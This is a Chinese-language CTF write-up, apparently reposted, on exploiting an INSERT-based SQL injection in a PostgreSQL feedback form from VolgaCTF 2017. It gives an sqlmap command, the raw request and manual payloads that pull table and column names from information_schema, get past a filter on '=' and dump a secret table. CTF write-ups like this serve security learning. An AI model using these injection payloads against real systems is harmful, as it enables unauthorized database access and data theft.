PostgreSQL的insert注入


寫這篇文是在昨夜的ctf中遇到的。 

ctf地址:bloody-feedback.quals.2017.volgactf.ru  

 

 

email存在注入,在ctf中發現注入就很好辦了,只要找到能繞過的方法就行。發現有pg開頭,聯想到PostgreSQL數據庫

試着補全語句

 

 

 

 

 發現錯誤回顯的有效信息更多了,

ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES

大概的語句就這樣

 

INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')

  email在第四個,所以在補全一個status就行,

 

找了好久的資料,沒發現PostgreSQL的報錯方法。

嘗試使用sqlmap

➜  sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3

1.txt的內容

➜  sqlmap cat 1.txt
POST /submit/ HTTP/1.1
Host: bloody-feedback.quals.2017.volgactf.ru
Content-Length: 41
Cache-Control: max-age=0
Origin: http://bloody-feedback.quals.2017.volgactf.ru
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://bloody-feedback.quals.2017.volgactf.ru/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
 
name=aaa&email=aa@qq.com&message=assa

  

發現能識別注入,美滋滋。

接着在跑表,發現需要用枚舉的方式來跑。枚舉????ctf的表名和字段名從來都很非主流的好嘛!!

還是用手工吧。

小伙伴發現在后面補全的時候,

name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa

 也就是'aaa'那里,只要不加引號,直接放sql語句也是可以的,回顯的話需要訪問response給我們的連接

查看當前數據庫權限:

 

 然后在訪問response的連接就行。

接着查詢表名,直接把當前數據庫當做放flag的表

name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa

 

表名:s3cret_tabl3

接着爆列名。

本來的語法應該是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa

發現等號被過濾了,找了一下發現like也行

於是變換語句

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name  LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa

 

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa

如果寬字節的注入 ,這里不能用引號怎么辦?測試了發現mysql的0x和0b在這里不管用。(待解)

 

列名為s3cr3tc0lumn,

然后直接出來數據。

select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2

發現這樣不需要列名也能直接出數據   

select * from s3cret_tabl3 limit 1 offset 4

  

 

附帶一篇Postgres注入方式總結.pdf

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM